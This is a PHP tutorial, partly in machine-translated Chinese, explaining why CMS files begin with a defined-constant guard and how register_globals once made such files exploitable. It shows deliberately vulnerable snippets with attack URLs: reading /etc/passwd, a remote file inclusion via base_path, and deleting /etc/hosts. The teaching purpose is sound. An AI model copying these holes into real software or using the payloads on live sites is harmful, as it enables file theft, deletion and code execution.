注意：為了閱讀這篇文章，假設您具有一些 PHP 程式設計的基本知識。
本文討論了您可能在您最喜歡的 CMS 或框架頂部看到的 PHP 程式碼片段。您可能已經讀過，出於安全原因，您應該始終將它包含在您開發的每個 PHP 檔案的開頭，儘管沒有非常清楚地解釋原因。我指的是這段程式碼：
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
這種類型的程式碼在 WordPress 檔案中很常見，儘管它出現在幾乎所有框架和 CMS 中。例如，對於 Joomla CMS，唯一的變化是它使用 JEXEC，而不是 ABSPATH。除此之外，邏輯保持不變。這個 CMS 是從先前的一個名為 Mambo 的系統演變而來的，它也使用了類似的程式碼，但使用 _VALID_MOS 作為常數。如果我們再往前追溯，我們會發現第一個使用此類程式碼的 CMS 是 PHP-Nuke（被一些人認為是第一個基於 PHP 的 CMS）。
PHP-Nuke（以及當今大多數 CMS 和框架）的執行流程包括順序載入多個檔案以回應使用者或訪客在網站上採取的操作。例如，想像一下那個時代的網站託管在 example.net 並安裝了此 CMS。每次載入主頁時，系統都會依序執行一系列檔案（這只是一個範例，不是實際的順序）：index.php => load_modules.php =>;模組.php。在這個鏈中，首先載入index.php，然後載入load_modules.php，然後載入modules.php。
這個執行鏈並不總是從第一個檔案（index.php）開始。事實上，任何人都可以透過其 URL（例如，http://example.net/load_modules.php 或 http://example.net/modules.php）直接存取其他 PHP 檔案之一來繞過部分流程。 ，正如我們將看到的，這在許多情況下可能存在風險。
這個問題是如何解決的？ 引入了安全措施，在每個文件的開頭添加類似的代碼：
<?php
if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
die ("You can't access this file directly...");
}
本質上，這段程式碼放置在名為modules.php的檔案的頂部，檢查是否可以透過URL直接存取modules.php。如果是，則停止執行，顯示訊息：「You can't access this file direct...」 如果$HTTP_SERVER_VARS['PHP_SELF'] 不包含modules.php，則表示正常執行流程處於活動狀態，允許腳本繼續。
但是，此程式碼有一些限制。首先，插入程式碼的每個檔案的程式碼都不同，這增加了複雜性。另外，在某些情況下，PHP 並沒有為 $HTTP_SERVER_VARS['PHP_SELF'] 賦值，這限制了其有效性。
So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:
<?php
if (!defined('MODULE_FILE')) {
die ("You can't access this file directly...");
}
In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.
At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.
The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.
It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.
Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.
So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."
Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.
Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:
<?php
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
readfile($filepath);
exit;
}
The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.
However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.
This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:
<?php require_once($base_path."/My.class.php");
An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.
Another example: in a script named remove_file.inc.php with the following code:
<?php
if(file_exists($filename)) {
if( unlink($filename) ) {
echo "File deleted";
}
}
an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).
In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
if(file_exists($filename)) {
if( unlink($filename) ) {
echo "File deleted";
}
}
Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.
By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.
But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.
最後，看到情況沒有改善，他們做出了一個重大決定：在 PHP 5.4 中刪除此功能以避免所有這些問題。因此，今天，像我們所看到的腳本（不使用常量）通常不再是風險，除了在某些情況下出現一些無害的警告/通知。
時至今日，持續技術仍然很常見。然而，不幸的現實——也是本文的原因——是很少有開發人員了解其使用背後的真正原因。
與過去的其他最佳實踐一樣（例如將參數複製到函數內部的局部變量中以避免引用問題或在私有變量中使用下劃線來區分它們），許多人繼續應用它只是因為有人曾經告訴他們這是一個良好的做法，毫無疑問它今天是否仍然增加價值。事實是，在大多數情況下，不再需要此技術。
以下是造成這種做法失去相關性的一些原因：
刪除 *register 全域變數：從 PHP 5.4 開始，在 PHP 中刪除了將 GET 和 POST 變數自動註冊為全域變數的功能。如果沒有*註冊全域變數，直接執行單一腳本是無害的，消除了這種技術的主要原因。
更好的程式碼設計：即使在PHP 5.4 之前的版本中，現代程式碼的結構也更好，通常在類別和函數中，這使得透過外部變數進行存取或操作更具挑戰性。即使是傳統上使用全域變數的 WordPress，也能最大限度地降低這些風險。
*front-controllers的使用：如今，大多數Web 應用程式都採用精心設計的*front-controllers 來確保類別和函數程式碼僅在執行時才執行鏈結從主入口點開始。因此，如果有人嘗試單獨載入文件，除非流程從正確的入口點開始，否則邏輯不會觸發。
類別自動載入：隨著類別自動載入在現代開發中的廣泛使用，include 或 require 的使用顯著減少。這可以降低經驗豐富的開發人員與這些方法（例如遠端文件包含或本地文件包含）相關的風險。
公用程式碼和私人程式碼的分離：在許多現代 CMS 和框架中，公用程式碼（如 資產）與私有程式碼（邏輯）分開。這項措施特別有價值，因為它可以確保，如果 PHP 在伺服器上出現故障，PHP 程式碼（無論是否使用常量技術）不會暴露。儘管這種分離並不是專門為了緩解註冊全域變數而實現的，但它有助於防止其他安全問題。
友善 URL 的廣泛使用：如今，將伺服器配置為使用友善 URL 是常見做法，以確保應用程式邏輯的單一入口點。這使得任何人幾乎不可能單獨載入 PHP 檔案。
生產中的錯誤抑制：大多數現代CMS 和框架預設禁用錯誤輸出，因此攻擊者無法找到有關應用程式內部工作原理的線索，這可能會促進其他類型的攻擊。
儘管在大多數情況下不再需要此技術，但這並不意味著它永遠沒有用處。作為專業開發人員，必須分析每種情況並確定持續的技術是否與您工作的特定環境相關。這種批判性思考應該始終被應用，即使是所謂的最佳實踐。
如果您仍然不確定何時應用持續技術，這些建議可能會指導您：
對於其他一切，如果您有疑問，請應用它。在大多數情況下，它不會有害，並且可以在意外情況下保護您，尤其是在您剛開始時。隨著時間和經驗的積累，您將能夠評估何時更有效地應用此技術和其他技術。
以上是框架和 CMS 中奇怪的 PHP 程式碼的詳細內容。更多資訊請關注PHP中文網其他相關文章！
